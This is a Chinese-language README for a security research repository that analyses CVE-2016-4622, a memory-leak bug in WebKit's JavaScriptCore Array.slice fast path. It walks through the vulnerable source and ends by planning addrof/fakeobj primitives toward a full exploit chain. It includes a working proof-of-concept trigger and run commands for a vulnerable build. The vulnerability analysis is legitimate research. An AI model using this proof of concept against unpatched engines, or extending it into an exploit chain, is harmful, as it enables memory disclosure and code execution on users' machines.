对 WebKit JavaScript Core 漏洞的全面分析与利用,该漏洞可通过 Array.slice 操作实现内存泄露
本仓库包含对 CVE-2016-4622 的全面分析,这是 WebKit 的 JavaScript Core 引擎中的一个严重内存泄露漏洞。该漏洞源于 Array.slice() 实现中的竞争条件,可利用它泄露相邻内存内容,并作为 addrof 和 fakeobj 等更复杂利用原语的基础。
影响:内存泄露,可能导致远程代码执行
受影响组件:WebKit JavaScript Core (JSC)
根本原因:fastSlice 实现中的检查时间-使用时间(TOCTOU)漏洞
该漏洞存在于 WebKit 为 Array.slice() 方法提供的优化“快速路径”中。在处理切片参数时,引擎会调用参数对象的 valueOf() 方法,将对象参数转换为原始值。此转换发生在确定切片操作参数之后、实际内存复制操作之前。
var a = [];
for (var i = 0; i < 100; i++)
a.push(i + 0.123);
var b = a.slice(0, {valueOf: function() { a.length = 0; return 10; }});
print(b);
具体流程:
avalueOf()valueOf() 将数组长度缩减为 0memcpy 尝试从空数组中复制 10 个元素WebKit-CVE-2016-4622/
├── Saelo-Exploit-CVE-2016-4622/ # Reference implementation by Saelo
├── Exploit/ # Custom exploitation attempts
│ ├── poc-memleak.js # Memory leak proof-of-concept
│ └── slice_over_array.js # Educational examples
├── WebKit-SRC-CVE-2016-4622/ # Vulnerable source code (commit 320b1fc)
├── WebKit-Bins/ # Compiled binaries for testing
│ ├── Debug/ # Debug build with symbols
│ └── ASAN/ # AddressSanitizer enabled build
└── Screenshoots/ # Visual documentation
二进制文件:在 VMWare OSX 10.11 上使用 XCode 7.3.2 构建的预编译 JSC 二进制文件 架构:x86_64 Mach-O 可执行文件 调试特性:符号 + AddressSanitizer,用于全面分析
cd WebKit-Bins/Debug
export DYLD_FRAMEWORK_PATH=$(pwd)
./jsc ../../Exploit/poc-memleak.js
# Expected output showing memory leak:
# 0.123,1.123,2.12199579146e-313,0,0,0,0,0,0,0
Array.slice(begin, end) 方法创建数组一部分的浅拷贝。在正常情况下:
var array = ['a', 'b', 'c', 'd'];
var subset = array.slice(1, 3); // Returns ['b', 'c']
关键洞察:end 参数会通过 valueOf() 进行类型转换,从而为利用创造了机会窗口。
当漏洞触发时,AddressSanitizer 捕获以下调用流程:
#0 memcpy-param-overlap detected
#1 JSC::JSArray::fastSlice()
#2 JSC::arrayProtoFuncSlice()
#3 JavaScript execution context

arrayProtoFuncSlice() - 入口点位置:WebKit-SRC-CVE-2016-4622/Source/JavaScriptCore/runtime/ArrayPrototype.cpp:848-887
EncodedJSValue JSC_HOST_CALL arrayProtoFuncSlice(ExecState* exec)
{
JSObject* thisObj = exec->thisValue().toThis(exec, StrictMode).toObject(exec);
unsigned length = getLength(exec, thisObj); // Initial length: 100
// Critical: Parameter conversion happens here
unsigned begin = argumentClampedIndexFromStartOrEnd(exec, 0, length);
unsigned end = argumentClampedIndexFromStartOrEnd(exec, 1, length, length);
// Fast path determination
std::pair<SpeciesConstructResult, JSObject*> speciesResult =
speciesConstructArray(exec, thisObj, end - begin);
if (LIKELY(speciesResult.first == SpeciesConstructResult::FastPath && isJSArray(thisObj))) {
// Vulnerability triggers here
if (JSArray* result = asArray(thisObj)->fastSlice(*exec, begin, end - begin))
return JSValue::encode(result);
}
// ... fallback implementation
}
argumentClampedIndexFromStartOrEnd() - 转换触发器位置:WebKit-SRC-CVE-2016-4622/Source/JavaScriptCore/runtime/ArrayPrototype.cpp:224-236
static inline unsigned argumentClampedIndexFromStartOrEnd(ExecState* exec, int argument, unsigned length, unsigned undefinedValue = 0)
{
JSValue value = exec->argument(argument);
if (value.isUndefined())
return undefinedValue;
// CRITICAL: This is where valueOf() gets called
double indexDouble = value.toInteger(exec);
if (indexDouble < 0) {
indexDouble += length;
return indexDouble < 0 ? 0 : static_cast<unsigned>(indexDouble);
}
return indexDouble > length ? length : static_cast<unsigned>(indexDouble);
}
竞争条件:
{valueOf: function() { a.length = 0; return 10; }} 时value.toInteger(exec) 调用我们恶意的 valueOf()fastSlice() - 内存损坏发生处位置:WebKit-SRC-CVE-2016-4622/Source/JavaScriptCore/runtime/JSArray.cpp:692-720
JSArray* JSArray::fastSlice(ExecState& exec, unsigned startIndex, unsigned count)
{
auto arrayType = indexingType();
switch (arrayType) {
case ArrayWithDouble:
case ArrayWithInt32:
case ArrayWithContiguous: {
// ... setup code ...
auto& resultButterfly = *resultArray->butterfly();
if (arrayType == ArrayWithDouble)
// VULNERABILITY: Reads beyond array bounds
memcpy(resultButterfly.contiguousDouble().data(),
m_butterfly.get()->contiguousDouble().data() + startIndex,
sizeof(JSValue) * count);
// ...
}
}
内存损坏:
startIndex = 0, count = 10valueOf() 修改)memcpy 从索引 0 开始读取 10 个 JSValues准备阶段
var a = [];
for (var i = 0; i < 100; i++)
a.push(i + 0.123);
触发阶段
var b = a.slice(0, {valueOf: function() { a.length = 0; return 10; }});
利用阶段
valueOf()fastSlice 尝试从空数组复制 10 个元素结果
0.123,1.123,2.12199579146e-313,0,0,0,0,0,0,0
Before valueOf(): [0.123][1.123][2.123]...[99.123] (length=100)
After valueOf(): [] (length=0)
memcpy reads: [0.123][1.123][LEAKED][LEAKED][LEAKED]...
| 组件 | 问题 | 影响 |
|---|---|---|
该漏洞可作为以下利用原语的基础:
addrof/fakeobj 原语奠定基础缓解策略:
memcpy 操作之前验证数组边界320b1fc3f6f研究时间线:2020 年 4 月 11-12 日
状态:分析完成 ✅
后续步骤:开发包含 addrof/fakeobj 原语的完整利用链
| 参数处理 |
argumentClampedIndexFromStartOrEnd 中的 TOCTOU |
| 允许在处理期间修改状态 |
| 快速路径逻辑 | fastSlice 中验证不足 | 绕过边界检查 |
| 内存操作 | 数组复制中未检查的 memcpy | 直接内存泄露 |